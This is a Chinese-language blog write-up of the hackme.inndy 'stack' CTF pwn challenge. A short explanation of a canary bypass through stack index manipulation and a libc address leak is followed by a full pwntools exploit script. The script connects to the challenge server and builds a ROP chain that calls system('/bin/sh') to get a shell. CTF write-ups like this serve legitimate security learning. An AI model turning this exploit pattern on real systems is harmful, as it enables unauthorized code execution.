hackme inndy pwn stack writeup

原创

charlie_heng 于 2018-01-02 15:55:58 发布 347 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/78952642

这题看起来很恐怖，所有保护都开了，但是其实并没有想象中难

这题先pop 两次，再push回去一个，然后再push下标，就可以直接绕过canary，把ret的地址给leak出来

再减去libc里面的__libc_start_main偏移，再把低三位给清零就得到libc基址

之后就是常规rop了，这里直接执行system(‘/bin/sh’)

下面就是利用的代码

```python
from pwn import *

debug=0
if debug:
    p=process('./stack')
    context.log_level='debug'
    e=ELF('/lib/i386-linux-gnu/libc.so.6')
    #gdb.attach(proc.pidof(p)[0])
    #raw_input()
else:
    context.log_level='debug'
    p=remote('hackme.inndy.tw',7716)
    e=ELF('./libc.so')

def push(val):
    p.sendline('i '+val)
    p.recvuntil('Cmd >>\n')

def pop():
    p.sendline('p')
    p.recvuntil('Pop -> ')
    val=p.recvuntil('\n')[:-1]
    p.recvuntil('Cmd >>\n')
    return val

def exit():
    p.sendline('x')

pop()
t=pop()
push(t)
push('93')
libc=int(pop())+(1<<32)-e.symbols['__libc_start_main']-246
libc=libc-libc%0x100
print(hex(libc))
system_addr=(libc+e.symbols['system'])-(1<<32)
binsh_addr=(libc+e.search('/bin/sh').next())-(1<<32)


push(str(system_addr))
push('1')
push(str(binsh_addr))
exit()

p.interactive()
```